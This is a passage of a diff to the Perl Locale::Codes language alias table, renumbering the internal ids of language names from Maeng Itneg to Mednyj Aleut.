    q(maeng itneg) => [
-      q(3018),
+      q(3015),
       q(0),
       ],
    q(mafa) => [
-      q(4110),
+      q(4109),
       q(0),
       ],
    q(mafea) => [
-      q(4356),
+      q(4355),
       q(0),
       ],
    q(mag-antsi ayta) => [
-      q(5982),
+      q(5981),
       q(0),
       ],
    q(mag-indi ayta) => [
-      q(1300),
+      q(1299),
       q(0),
       ],
    q(magahi) => [
-      q(0265),
+      q(0264),
       q(0),
       ],
    q(magbukun ayta) => [
-      q(1009),
+      q(1008),
       q(0),
       ],
    q(magdalena penasco mixtec) => [
-      q(7502),
+      q(7499),
       q(0),
       ],
    q(maghdi) => [
-      q(2555),
+      q(2553),
       q(0),
       ],
    q(magoma) => [
-      q(2562),
+      q(2560),
       q(0),
       ],
    q(magori) => [
-      q(7828),
+      q(7825),
       q(0),
       ],
    q(maguindanaon) => [
-      q(4177),
+      q(4176),
       q(0),
       ],
    q(magyi) => [
-      q(2556),
+      q(2554),
       q(0),
       ],
    q(mah meri) => [
-      q(4271),
+      q(4270),
       q(1),
       ],
    q(mahali) => [
-      q(4334),
+      q(4333),
       q(0),
       ],
    q(maharastri prakrit) => [
-      q(5510),
+      q(5506),
       q(0),
       ],
    q(mahasu pahari) => [
-      q(1161),
+      q(1160),
       q(0),
       ],
    q(mahican) => [
-      q(4335),
+      q(4334),
       q(0),
       ],
    q(mahongwe) => [
-      q(4268),
+      q(4267),
       q(0),
       ],
    q(mahou) => [
-      q(4663),
+      q(4662),
       q(0),
       ],
    q(mai brat) => [
-      q(1012),
+      q(1011),
       q(0),
       ],
    q(maia) => [
@@ -41039,7 +40997,7 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(maiadomu) => [
-      q(4711),
+      q(4710),
       q(0),
       ],
    q(maiani) => [
@@ -41047,171 +41005,171 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(maii) => [
-      q(4395),
+      q(4394),
       q(0),
       ],
    q(mailu) => [
-      q(4262),
+      q(4261),
       q(0),
       ],
    q(maindo) => [
-      q(1919),
+      q(1918),
       q(0),
       ],
    q(mainfrankisch) => [
-      q(7008),
+      q(7007),
       q(0),
       ],
    q(mainstream kenyah) => [
-      q(7365),
+      q(7362),
       q(0),
       ],
    q(mairasi) => [
-      q(7931),
+      q(7928),
       q(0),
       ],
    q(maisin) => [
-      q(4135),
+      q(4134),
       q(0),
       ],
    q(maithili) => [
-      q(0267),
+      q(0266),
       q(0),
       ],
    q(maiwa (indonesia)) => [
-      q(7161),
+      q(7159),
       q(0),
       ],
    q(maiwa (papua new guinea)) => [
-      q(4556),
+      q(4555),
       q(0),
       ],
    q(maiwala) => [
-      q(4583),
+      q(4582),
       q(0),
       ],
    q(majang) => [
-      q(4453),
+      q(4452),
       q(0),
       ],
    q(majera) => [
-      q(7400),
+      q(7397),
       q(0),
       ],
    q(majhi) => [
-      q(4336),
+      q(4335),
       q(0),
       ],
    q(majhwar) => [
-      q(4392),
+      q(4391),
       q(0),
       ],
    q(majukayang kalinga) => [
-      q(3454),
+      q(3453),
       q(0),
       ],
    q(mak (china)) => [
-      q(4342),
+      q(4341),
       q(0),
       ],
    q(mak (nigeria)) => [
-      q(5367),
+      q(5363),
       q(0),
       ],
    q(makaa) => [
-      q(4160),
+      q(4159),
       q(0),
       ],
    q(makah) => [
-      q(4672),
+      q(4671),
       q(0),
       ],
    q(makalero) => [
-      q(4313),
+      q(4312),
       q(0),
       ],
    q(makasae) => [
-      q(4360),
+      q(4359),
       q(0),
       ],
    q(makasar) => [
-      q(0268),
+      q(0267),
       q(0),
       ],
    q(makassar malay) => [
-      q(4232),
+      q(4231),
       q(0),
       ],
    q(makayam) => [
-      q(0947),
+      q(0946),
       q(0),
       ],
    q(makhuwa) => [
-      q(7022),
+      q(7021),
       q(0),
       ],
    q(makhuwa-marrevone) => [
-      q(7394),
+      q(7391),
       q(0),
       ],
    q(makhuwa-meetto) => [
-      q(4249),
+      q(4248),
       q(0),
       ],
    q(makhuwa-moniga) => [
-      q(4278),
+      q(4277),
       q(0),
       ],
    q(makhuwa-saka) => [
-      q(7486),
+      q(7483),
       q(0),
       ],
    q(makhuwa-shirima) => [
-      q(7013),
+      q(7012),
       q(0),
       ],
    q(maklew) => [
-      q(4247),
+      q(4246),
       q(0),
       ],
    q(makolkol) => [
-      q(7868),
+      q(7865),
       q(0),
       ],
    q(makonde) => [
-      q(3237),
+      q(3235),
       q(0),
       ],
    q(maku) => [
-      q(7267),
+      q(7265),
       q(0),
       ],
    q(maku'a) => [
-      q(4086),
+      q(4085),
       q(0),
       ],
    q(makurap) => [
-      q(4468),
+      q(4467),
       q(0),
       ],
    q(makuri naga) => [
-      q(3121),
+      q(3119),
       q(0),
       ],
    q(makwe) => [
-      q(7680),
+      q(7677),
       q(0),
       ],
    q(makyan naga) => [
-      q(6893),
+      q(6892),
       q(0),
       ],
    q(mal) => [
-      q(4365),
+      q(4364),
       q(0),
       ],
    q(mal paharia) => [
-      q(4338),
+      q(4337),
       q(0),
       ],
    q(mala (nigeria)) => [
@@ -41219,55 +41177,55 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mala (papua new guinea)) => [
-      q(5402),
+      q(5398),
       q(0),
       ],
    q(mala malasar) => [
-      q(2959),
+      q(2956),
       q(0),
       ],
    q(malaccan creole malay) => [
-      q(1685),
+      q(1684),
       q(0),
       ],
    q(malaccan creole portuguese) => [
-      q(4157),
+      q(4156),
       q(0),
       ],
    q(malagasy) => [
-      q(0284),
+      q(0283),
       q(0),
       ],
    q(malalamai) => [
-      q(4401),
+      q(4400),
       q(0),
       ],
    q(malango) => [
-      q(4372),
+      q(4371),
       q(0),
       ],
    q(malankuravan) => [
-      q(4325),
+      q(4324),
       q(0),
       ],
    q(malapandaram) => [
-      q(4326),
+      q(4325),
       q(0),
       ],
    q(malaryan) => [
-      q(4327),
+      q(4326),
       q(0),
       ],
    q(malas) => [
-      q(4352),
+      q(4351),
       q(0),
       ],
    q(malasar) => [
-      q(7687),
+      q(7684),
       q(0),
       ],
    q(malavedan) => [
-      q(4328),
+      q(4327),
       q(0),
       ],
    q(malawi lomwe) => [
@@ -41275,107 +41233,107 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(malawi sena) => [
-      q(6295),
+      q(6296),
       q(0),
       ],
    q(malay) => [
-      q(0275),
+      q(0274),
       q(0),
       ],
    q(malay (individual language)) => [
-      q(7858),
+      q(7855),
       q(0),
       ],
    q(malay (macrolanguage)) => [
-      q(0275),
+      q(0274),
       q(1),
       ],
    q(malayalam) => [
-      q(0269),
+      q(0268),
       q(0),
       ],
    q(malayic dayak) => [
-      q(7314),
+      q(7311),
       q(0),
       ],
    q(malaynon) => [
-      q(4382),
+      q(4381),
       q(0),
       ],
    q(malayo) => [
-      q(4134),
+      q(4133),
       q(0),
       ],
    q(malayo-polynesian languages) => [
-      q(0521),
+      q(0520),
       q(0),
       ],
    q(malaysian sign language) => [
-      q(7402),
+      q(7399),
       q(0),
       ],
    q(malba birifor) => [
-      q(1151),
+      q(1150),
       q(0),
       ],
    q(maldivian) => [
-      q(0111),
+      q(0110),
       q(2),
       ],
    q(male) => [
-      q(2821),
+      q(2819),
       q(1),
       ],
    q(male (ethiopia)) => [
-      q(4192),
+      q(4191),
       q(0),
       ],
    q(male (papua new guinea)) => [
-      q(4173),
+      q(4172),
       q(0),
       ],
    q(malecite-passamaquoddy) => [
-      q(5580),
+      q(5576),
       q(0),
       ],
    q(maleku jaika) => [
-      q(2658),
+      q(2656),
       q(0),
       ],
    q(maleng) => [
-      q(5481),
+      q(5477),
       q(0),
       ],
    q(maleu-kilenge) => [
-      q(4253),
+      q(4252),
       q(0),
       ],
    q(malfaxal) => [
-      q(4381),
+      q(4380),
       q(0),
       ],
    q(malgana) => [
-      q(7014),
+      q(7013),
       q(0),
       ],
    q(malgbe) => [
-      q(4645),
+      q(4644),
       q(0),
       ],
    q(mali) => [
-      q(2442),
+      q(2441),
       q(0),
       ],
    q(malila) => [
-      q(4258),
+      q(4257),
       q(0),
       ],
    q(malimba) => [
-      q(4690),
+      q(4689),
       q(0),
       ],
    q(malimpung) => [
-      q(4367),
+      q(4366),
       q(0),
       ],
    q(malinaltepec me'phaa) => [
@@ -41387,155 +41345,155 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(malo) => [
-      q(4361),
+      q(4360),
       q(0),
       ],
    q(malol) => [
-      q(4129),
+      q(4128),
       q(0),
       ],
    q(maltese) => [
-      q(0285),
+      q(0284),
       q(0),
       ],
    q(maltese sign language) => [
-      q(4181),
+      q(4180),
       q(0),
       ],
    q(malua bay) => [
-      q(4370),
+      q(4369),
       q(0),
       ],
    q(malvi) => [
-      q(4585),
+      q(4584),
       q(0),
       ],
    q(malyangapa) => [
-      q(7618),
+      q(7615),
       q(0),
       ],
    q(mam) => [
-      q(4112),
+      q(4111),
       q(0),
       ],
    q(mama) => [
-      q(4383),
+      q(4382),
       q(0),
       ],
    q(mamaa) => [
-      q(4272),
+      q(4271),
       q(0),
       ],
    q(mamainde) => [
-      q(7157),
+      q(7155),
       q(0),
       ],
    q(mamanwa) => [
-      q(4396),
+      q(4395),
       q(0),
       ],
    q(mamara senoufo) => [
-      q(4675),
+      q(4674),
       q(0),
       ],
    q(mamasa) => [
-      q(4482),
+      q(4481),
       q(0),
       ],
    q(mambae) => [
-      q(4254),
+      q(4253),
       q(0),
       ],
    q(mambai) => [
-      q(4163),
+      q(4162),
       q(0),
       ],
    q(mamboru) => [
-      q(4596),
+      q(4595),
       q(0),
       ],
    q(mambwe-lungu) => [
-      q(4259),
+      q(4258),
       q(0),
       ],
    q(mampruli) => [
-      q(4117),
+      q(4116),
       q(0),
       ],
    q(mamuju) => [
-      q(4496),
+      q(4495),
       q(0),
       ],
    q(mamulique) => [
-      q(2252),
+      q(2251),
       q(0),
       ],
    q(mamusi) => [
-      q(3238),
+      q(3236),
       q(0),
       ],
    q(mamvu) => [
-      q(4178),
+      q(4177),
       q(0),
       ],
    q(man met) => [
-      q(4394),
+      q(4393),
       q(0),
       ],
    q(manado malay) => [
-      q(7403),
+      q(7400),
       q(0),
       ],
    q(manam) => [
-      q(4594),
+      q(4593),
       q(0),
       ],
    q(manambu) => [
-      q(4364),
+      q(4363),
       q(0),
       ],
    q(manangba) => [
-      q(4967),
+      q(4965),
       q(0),
       ],
    q(manangkari) => [
-      q(7890),
+      q(7887),
       q(0),
       ],
    q(manchu) => [
-      q(0286),
+      q(0285),
       q(0),
       ],
    q(manda (australia)) => [
-      q(7861),
+      q(7858),
       q(0),
       ],
    q(manda (india)) => [
-      q(4267),
+      q(4266),
       q(0),
       ],
    q(manda (tanzania)) => [
-      q(4260),
+      q(4259),
       q(0),
       ],
    q(mandahuaca) => [
-      q(4285),
+      q(4284),
       q(0),
       ],
    q(mandaic) => [
-      q(4293),
+      q(4292),
       q(0),
       ],
    q(mandan) => [
-      q(4282),
+      q(4281),
       q(0),
       ],
    q(mandandanyi) => [
-      q(7871),
+      q(7868),
       q(0),
       ],
    q(mandar) => [
-      q(0277),
+      q(0276),
       q(0),
       ],
    q(mandara) => [
@@ -41543,183 +41501,183 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mandari) => [
-      q(4493),
+      q(4492),
       q(0),
       ],
    q(mandarin chinese) => [
-      q(1787),
+      q(1786),
       q(0),
       ],
    q(mandaya) => [
-      q(4522),
+      q(4521),
       q(0),
       ],
    q(mande languages) => [
-      q(0501),
+      q(0500),
       q(0),
       ],
    q(mandeali) => [
-      q(4322),
+      q(4321),
       q(0),
       ],
    q(mander) => [
-      q(4490),
+      q(4489),
       q(0),
       ],
    q(manding) => [
-      q(0270),
+      q(0269),
       q(1),
       ],
    q(mandingo) => [
-      q(0270),
+      q(0269),
       q(0),
       ],
    q(mandinka) => [
-      q(4416),
+      q(4415),
       q(0),
       ],
    q(mandjak) => [
-      q(4238),
+      q(4237),
       q(0),
       ],
    q(mandobo atas) => [
-      q(0558),
+      q(0557),
       q(0),
       ],
    q(mandobo bawah) => [
-      q(1556),
+      q(1555),
       q(0),
       ],
    q(manem) => [
-      q(3081),
+      q(3079),
       q(0),
       ],
    q(mang) => [
-      q(7889),
+      q(7886),
       q(0),
       ],
    q(manga kanuri) => [
-      q(3206),
+      q(3204),
       q(0),
       ],
    q(mangala) => [
-      q(4205),
+      q(4204),
       q(0),
       ],
    q(mangarayi) => [
-      q(4451),
+      q(4450),
       q(0),
       ],
    q(mangareva) => [
-      q(4519),
+      q(4518),
       q(0),
       ],
    q(mangas) => [
-      q(7891),
+      q(7888),
       q(0),
       ],
    q(mangayat) => [
-      q(4674),
+      q(4673),
       q(0),
       ],
    q(mangbetu) => [
-      q(4179),
+      q(4178),
       q(0),
       ],
    q(mangbutu) => [
-      q(4180),
+      q(4179),
       q(0),
       ],
    q(mangerr) => [
-      q(7865),
+      q(7862),
       q(0),
       ],
    q(mangga buang) => [
-      q(4397),
+      q(4396),
       q(0),
       ],
    q(manggarai) => [
-      q(4497),
+      q(4496),
       q(0),
       ],
    q(mango) => [
-      q(4246),
+      q(4245),
       q(0),
       ],
    q(mangole) => [
-      q(4476),
+      q(4475),
       q(0),
       ],
    q(mangseng) => [
-      q(4126),
+      q(4125),
       q(0),
       ],
    q(mangue) => [
-      q(4438),
+      q(4437),
       q(0),
       ],
    q(manichaean middle persian) => [
-      q(7404),
+      q(7401),
       q(0),
       ],
    q(manide) => [
-      q(0563),
+      q(0562),
       q(0),
       ],
    q(manikion) => [
-      q(4427),
+      q(4426),
       q(0),
       ],
    q(manipa) => [
-      q(4488),
+      q(4487),
       q(0),
       ],
    q(manipuri) => [
-      q(0287),
+      q(0286),
       q(0),
       ],
    q(mankanya) => [
-      q(3482),
+      q(3481),
       q(0),
       ],
    q(manna-dora) => [
-      q(4331),
+      q(4330),
       q(0),
       ],
    q(mannan) => [
-      q(4332),
+      q(4331),
       q(0),
       ],
    q(mano) => [
-      q(4213),
+      q(4212),
       q(0),
       ],
    q(manobo languages) => [
-      q(0288),
+      q(0287),
       q(0),
       ],
    q(manombai) => [
-      q(7193),
+      q(7191),
       q(0),
       ],
    q(mansaka) => [
-      q(4533),
+      q(4532),
       q(0),
       ],
    q(mansi) => [
-      q(4423),
+      q(4422),
       q(0),
       ],
    q(mansoanka) => [
-      q(4544),
+      q(4543),
       q(0),
       ],
    q(manta) => [
-      q(4671),
+      q(4670),
       q(0),
       ],
    q(mantsi) => [
-      q(5097),
+      q(5093),
       q(0),
       ],
    q(manumanaw) => [
@@ -41731,67 +41689,67 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(manusela) => [
-      q(7109),
+      q(7107),
       q(1),
       ],
    q(manx) => [
-      q(0157),
+      q(0156),
       q(0),
       ],
    q(manya) => [
-      q(4695),
+      q(4694),
       q(0),
       ],
    q(manyawa) => [
-      q(4428),
+      q(4427),
       q(0),
       ],
    q(manyika) => [
-      q(4642),
+      q(4641),
       q(0),
       ],
    q(manza) => [
-      q(4707),
+      q(4706),
       q(0),
       ],
    q(mao naga) => [
-      q(4739),
+      q(4738),
       q(0),
       ],
    q(maonan) => [
-      q(4386),
+      q(4385),
       q(0),
       ],
    q(maore comorian) => [
-      q(6288),
+      q(6289),
       q(0),
       ],
    q(maori) => [
-      q(0271),
+      q(0270),
       q(0),
       ],
    q(mape) => [
-      q(4366),
+      q(4365),
       q(0),
       ],
    q(mapena) => [
-      q(4418),
+      q(4417),
       q(0),
       ],
    q(mapia) => [
-      q(4472),
+      q(4471),
       q(0),
       ],
    q(mapidian) => [
-      q(4470),
+      q(4469),
       q(0),
       ],
    q(mapos buang) => [
-      q(1619),
+      q(1618),
       q(0),
       ],
    q(mapoyo) => [
-      q(4151),
+      q(4150),
       q(0),
       ],
    q(mapuche) => [
@@ -41803,19 +41761,19 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mapun) => [
-      q(6053),
+      q(6052),
       q(0),
       ],
    q(maquiritari) => [
-      q(4152),
+      q(4151),
       q(0),
       ],
    q(mara) => [
-      q(4196),
+      q(4195),
       q(0),
       ],
    q(mara chin) => [
-      q(4506),
+      q(4505),
       q(0),
       ],
    q(marachi) => [
@@ -41823,15 +41781,15 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(maraghei) => [
-      q(7010),
+      q(7009),
       q(0),
       ],
    q(maragus) => [
-      q(4516),
+      q(4515),
       q(0),
       ],
    q(maram naga) => [
-      q(4955),
+      q(4953),
       q(0),
       ],
    q(marama) => [
@@ -41839,67 +41797,67 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(maramba) => [
-      q(4668),
+      q(4667),
       q(0),
       ],
    q(maranao) => [
-      q(4520),
+      q(4519),
       q(0),
       ],
    q(marangis) => [
-      q(7060),
+      q(7059),
       q(1),
       ],
    q(maranunggu) => [
-      q(7878),
+      q(7875),
       q(0),
       ],
    q(mararit) => [
-      q(4243),
+      q(4242),
       q(0),
       ],
    q(marathi) => [
-      q(0273),
+      q(0272),
       q(0),
       ],
    q(marau) => [
-      q(4609),
+      q(4608),
       q(0),
       ],
    q(marba) => [
-      q(4454),
+      q(4453),
       q(0),
       ],
    q(maremgi) => [
-      q(4521),
+      q(4520),
       q(0),
       ],
    q(marenje) => [
-      q(7018),
+      q(7017),
       q(0),
       ],
    q(marfa) => [
-      q(4612),
+      q(4611),
       q(0),
       ],
    q(margany) => [
-      q(7863),
+      q(7860),
       q(0),
       ],
    q(marghi central) => [
-      q(4517),
+      q(4516),
       q(0),
       ],
    q(marghi south) => [
-      q(4229),
+      q(4228),
       q(0),
       ],
    q(margos-yarowilca-lauricocha quechua) => [
-      q(5698),
+      q(5696),
       q(0),
       ],
    q(margu) => [
-      q(4273),
+      q(4272),
       q(0),
       ],
    q(mari) => [
@@ -41907,11 +41865,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mari (east sepik province)) => [
-      q(4142),
+      q(4141),
       q(0),
       ],
    q(mari (madang province)) => [
-      q(2808),
+      q(2806),
       q(0),
       ],
    q(mari (russia)) => [
@@ -41919,131 +41877,131 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(1),
       ],
    q(maria (india)) => [
-      q(4515),
+      q(4514),
       q(0),
       ],
    q(maria (papua new guinea)) => [
-      q(4186),
+      q(4185),
       q(0),
       ],
    q(maricopa) => [
-      q(4501),
+      q(4500),
       q(0),
       ],
    q(maridan) => [
-      q(7864),
+      q(7861),
       q(0),
       ],
    q(maridjabin) => [
-      q(7870),
+      q(7867),
       q(0),
       ],
    q(marik) => [
-      q(1934),
+      q(1933),
       q(0),
       ],
    q(marimanindji) => [
-      q(7873),
+      q(7870),
       q(0),
       ],
    q(marind) => [
-      q(4523),
+      q(4522),
       q(0),
       ],
    q(maring) => [
-      q(4141),
+      q(4140),
       q(0),
       ],
    q(maring naga) => [
-      q(4987),
+      q(4985),
       q(0),
       ],
    q(maringarr) => [
-      q(7880),
+      q(7877),
       q(0),
       ],
    q(marino) => [
-      q(4500),
+      q(4499),
       q(0),
       ],
    q(mariri) => [
-      q(4481),
+      q(4480),
       q(0),
       ],
    q(marithiel) => [
-      q(4234),
+      q(4233),
       q(0),
       ],
    q(maritime sign language) => [
-      q(5075),
+      q(5071),
       q(0),
       ],
    q(maritsaua) => [
-      q(4538),
+      q(4537),
       q(0),
       ],
    q(mariyedi) => [
-      q(7885),
+      q(7882),
       q(0),
       ],
    q(marka) => [
-      q(5792),
+      q(5791),
       q(0),
       ],
    q(markweeta) => [
-      q(2261),
+      q(2260),
       q(0),
       ],
    q(marma) => [
-      q(5818),
+      q(5817),
       q(0),
       ],
    q(marovo) => [
-      q(4606),
+      q(4605),
       q(0),
       ],
    q(marriammu) => [
-      q(7472),
+      q(7469),
       q(0),
       ],
    q(marrucinian) => [
-      q(6888),
+      q(6887),
       q(0),
       ],
    q(marshallese) => [
-      q(0266),
+      q(0265),
       q(0),
       ],
    q(marsian) => [
-      q(2965),
+      q(2962),
       q(0),
       ],
    q(martha's vineyard sign language) => [
-      q(4503),
+      q(4502),
       q(0),
       ],
    q(marti ke) => [
-      q(7867),
+      q(7864),
       q(0),
       ],
    q(martu wangka) => [
-      q(4457),
+      q(4456),
       q(0),
       ],
    q(martuyhunira) => [
-      q(7003),
+      q(7002),
       q(0),
       ],
    q(maru) => [
-      q(4288),
+      q(4287),
       q(0),
       ],
    q(marubo) => [
-      q(4703),
+      q(4702),
       q(0),
       ],
    q(marwari) => [
-      q(0296),
+      q(0295),
       q(0),
       ],
    q(marwari (india)) => [
@@ -42051,11 +42009,11 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(marwari (pakistan)) => [
-      q(4597),
+      q(4596),
       q(0),
       ],
    q(masaaba) => [
-      q(4684),
+      q(4683),
       q(0),
       ],
    q(masadiit itneg) => [
@@ -42063,139 +42021,139 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(masai) => [
-      q(0274),
+      q(0273),
       q(0),
       ],
    q(masalit) => [
-      q(4377),
+      q(4376),
       q(0),
       ],
    q(masana) => [
-      q(4158),
+      q(4157),
       q(0),
       ],
    q(masbatenyo) => [
-      q(4524),
+      q(4523),
       q(0),
       ],
    q(mashco piro) => [
-      q(1904),
+      q(1903),
       q(0),
       ],
    q(mashi (nigeria)) => [
-      q(3123),
+      q(3121),
       q(0),
       ],
    q(mashi (zambia)) => [
-      q(4280),
+      q(4279),
       q(0),
       ],
    q(masikoro malagasy) => [
-      q(4530),
+      q(4529),
       q(0),
       ],
    q(masimasi) => [
-      q(3002),
+      q(2999),
       q(0),
       ],
    q(masiwang) => [
-      q(1333),
+      q(1332),
       q(0),
       ],
    q(maskelynes) => [
-      q(3447),
+      q(3446),
       q(0),
       ],
    q(maslam) => [
-      q(4543),
+      q(4542),
       q(0),
       ],
    q(masmaje) => [
-      q(4210),
+      q(4209),
       q(0),
       ],
    q(massalat) => [
-      q(4176),
+      q(4175),
       q(0),
       ],
    q(massep) => [
-      q(4610),
+      q(4609),
       q(0),
       ],
    q(matagalpa) => [
-      q(4561),
+      q(4560),
       q(0),
       ],
    q(matal) => [
-      q(4224),
+      q(4223),
       q(0),
       ],
    q(matbat) => [
-      q(7410),
+      q(7407),
       q(0),
       ],
    q(matengo) => [
-      q(4263),
+      q(4262),
       q(0),
       ],
    q(matepi) => [
-      q(4477),
+      q(4476),
       q(0),
       ],
    q(matigsalug manobo) => [
-      q(4138),
+      q(4137),
       q(0),
       ],
    q(matipuhy) => [
-      q(4700),
+      q(4699),
       q(0),
       ],
    q(matis) => [
-      q(4464),
+      q(4463),
       q(0),
       ],
    q(mato) => [
-      q(4211),
+      q(4210),
       q(0),
       ],
    q(mato grosso arara) => [
-      q(0988),
+      q(0987),
       q(0),
       ],
    q(mator) => [
-      q(4560),
+      q(4559),
       q(0),
       ],
    q(matses) => [
-      q(4150),
+      q(4149),
       q(0),
       ],
    q(mattoki) => [
-      q(7430),
+      q(7427),
       q(1),
       ],
    q(mattole) => [
-      q(4595),
+      q(4594),
       q(0),
       ],
    q(matu chin) => [
-      q(2772),
+      q(2770),
       q(0),
       ],
    q(matukar) => [
-      q(4321),
+      q(4320),
       q(0),
       ],
    q(matumbi) => [
-      q(4264),
+      q(4263),
       q(0),
       ],
    q(matya samo) => [
-      q(6251),
+      q(6252),
       q(0),
       ],
    q(maung) => [
-      q(4455),
+      q(4454),
       q(0),
       ],
    q(mauritian sign language) => [
@@ -42203,123 +42161,123 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mauwake) => [
-      q(4277),
+      q(4276),
       q(0),
       ],
    q(mawa (chad)) => [
-      q(4167),
+      q(4166),
       q(0),
       ],
    q(mawa (nigeria)) => [
-      q(7154),
+      q(7152),
       q(0),
       ],
    q(mawak) => [
-      q(4320),
+      q(4319),
       q(0),
       ],
    q(mawan) => [
-      q(4170),
+      q(4169),
       q(0),
       ],
    q(mawayana) => [
-      q(4709),
+      q(4708),
       q(0),
       ],
    q(mawchi) => [
-      q(4340),
+      q(4339),
       q(0),
       ],
    q(mawes) => [
-      q(4252),
+      q(4251),
       q(0),
       ],
    q(mawukakan) => [
-      q(4663),
+      q(4662),
       q(1),
       ],
    q(maxakali) => [
-      q(4130),
+      q(4129),
       q(0),
       ],
    q(maxi gbe) => [
-      q(4651),
+      q(4650),
       q(0),
       ],
    q(maya samo) => [
-      q(6328),
+      q(6329),
       q(0),
       ],
    q(mayaguduna) => [
-      q(7415),
+      q(7412),
       q(0),
       ],
    q(mayan languages) => [
-      q(0297),
+      q(0296),
       q(0),
       ],
    q(mayangna) => [
-      q(7573),
+      q(7570),
       q(0),
       ],
    q(mayawali) => [
-      q(7779),
+      q(7776),
       q(0),
       ],
    q(mayeka) => [
-      q(4667),
+      q(4666),
       q(0),
       ],
    q(mayi-kulan) => [
-      q(7553),
+      q(7550),
       q(0),
       ],
    q(mayi-thakurti) => [
-      q(7555),
+      q(7552),
       q(0),
       ],
    q(mayi-yapi) => [
-      q(7552),
+      q(7549),
       q(0),
       ],
    q(mayo) => [
-      q(4241),
+      q(4240),
       q(0),
       ],
    q(mayogo) => [
-      q(4182),
+      q(4181),
       q(0),
       ],
    q(mayoyao ifugao) => [
-      q(2915),
+      q(2912),
       q(0),
       ],
    q(mazagway) => [
-      q(2071),
+      q(2070),
       q(0),
       ],
    q(mazaltepec zapotec) => [
-      q(7923),
+      q(7920),
       q(0),
       ],
    q(mazanderani) => [
-      q(4699),
+      q(4698),
       q(0),
       ],
    q(mazatlan mazatec) => [
-      q(7025),
+      q(7024),
       q(0),
       ],
    q(mazatlan mixe) => [
-      q(4697),
+      q(4696),
       q(0),
       ],
    q(mba) => [
-      q(4219),
+      q(4218),
       q(0),
       ],
    q(mbala) => [
-      q(4184),
+      q(4183),
       q(0),
       ],
    q(mbalanhu) => [
@@ -42327,203 +42285,203 @@ $Locale::Codes::Data{'language'}{'alias2id'} = {
       q(0),
       ],
    q(mbandja) => [
-      q(7886),
+      q(7883),
       q(0),
       ],
    q(mbangala) => [
-      q(4646),
+      q(4645),
       q(0),
       ],
    q(mbangi) => [
-      q(4255),
+      q(4254),
       q(0),
       ],
    q(mbangwe) => [
-      q(7874),
+      q(7871),
       q(0),
       ],
    q(mbara (australia)) => [
-      q(4603),
+      q(4602),
       q(0),
       ],
    q(mbara (chad)) => [
-      q(4458),
+      q(4457),
       q(0),
       ],
    q(mbariman-gudhinma) => [
-      q(7882),
+      q(7879),
       q(0),
       ],
    q(mbati) => [
-      q(4183),
+      q(4182),
       q(0),
       ],
    q(mbato) => [
-      q(2676),
+      q(2674),
       q(0),
       ],
    q(mbay) => [
-      q(4666),
+      q(4665),
       q(0),
       ],
    q(mbe) => [
-      q(4231),
+      q(4230),
       q(0),
       ],
    q(mbe') => [
-      q(4558),
+      q(4557),
       q(0),
       ],
    q(mbelime) => [
-      q(4484),
+      q(4483),
       q(0),
       ],
    q(mbere) => [
-      q(4187),
+      q(4186),
       q(0),
       ],
    q(mbesa) => [
-      q(7879),
+      q(7876),
       q(0),
       ],
    q(mbo (cameroon)) => [
-      q(4133),
+      q(4132),
       q(0),
       ],
    q(mbo (democratic republic of congo)) => [
-      q(7883),
+      q(7880),
       q(0),
       ],
    q(mboi) => [
-      q(4435),
+      q(4434),
       q(0),
       ],
    q(mboko) => [
-      q(4188),
+      q(4187),
       q(0),
       ],
    q(mbole) => [
-      q(4185),
+      q(4184),
       q(0),
       ],
    q(mbonga) => [
-      q(7393),
+      q(7390),
       q(0),
       ],
    q(mbongno) => [
-      q(1180),
+      q(1179),
       q(0),
       ],
    q(mbosi) => [
-      q(4190),
+      q(4189),
       q(0),
       ],
    q(mbowe) => [
-      q(4654),
+      q(4653),
       q(0),
       ],
    q(mbre) => [
-      q(4337),
+      q(4336),
       q(0),
       ],
    q(mbudum) => [
-      q(7395),
+      q(7392),
       q(0),
       ],
    q(mbugu) => [
-      q(4270),
+      q(4269),
       q(0),
       ],
    q(mbugwe) => [
-      q(4266),
+      q(4265),
       q(0),
       ],
    q(mbuko) => [
-      q(4475),
+      q(4474),
       q(0),
       ],
    q(mbukushu) => [
-      q(4287),
+      q(4286),
       q(0),
       ],
    q(mbula) => [
-      q(4408),
+      q(4407),
       q(0),
       ],
    q(mbula-bwazza) => [
-      q(4139),
+      q(4138),
       q(0),
       ],
    q(mbule) => [
-      q(4362),
+      q(4361),
       q(0),
       ],
    q(mbulungish) => [
-      q(4140),
+      q(4139),
       q(0),
       ],
    q(mbum) => [
-      q(4174),
+      q(4173),
       q(0),
       ],
    q(mbunda) => [
-      q(4155),
+      q(4154),
       q(0),
       ],
    q(mbunga) => [
-      q(4265),
+      q(4264),
       q(0),
       ],
    q(mburku) => [
-      q(1058),
+      q(1057),
       q(0),
       ],
    q(mbwela) => [
-      q(4237),
+      q(4236),
       q(0),
       ],
    q(mbya guarani) => [
-      q(2652),
+      q(2650),
       q(0),
       ],
    q(me'en) => [
-      q(4677),
+      q(4676),
       q(0),
       ],
    q(mea) => [
-      q(1737),
+      q(1736),
       q(2),
       ],
    q(medebur) => [
-      q(4323),
+      q(4322),
       q(0),
       ],
    q(media lengua) => [
-      q(4577),
+      q(4576),
       q(0),
       ],
    q(mediak) => [
-      q(4637),
+      q(4636),
       q(0),
       ],
    q(median) => [
-      q(7396),
+      q(7393),
       q(0),
       ],
    q(mednyj aleut) => [
-      q(4576),
+      q(4575),
       q(0),
       ],
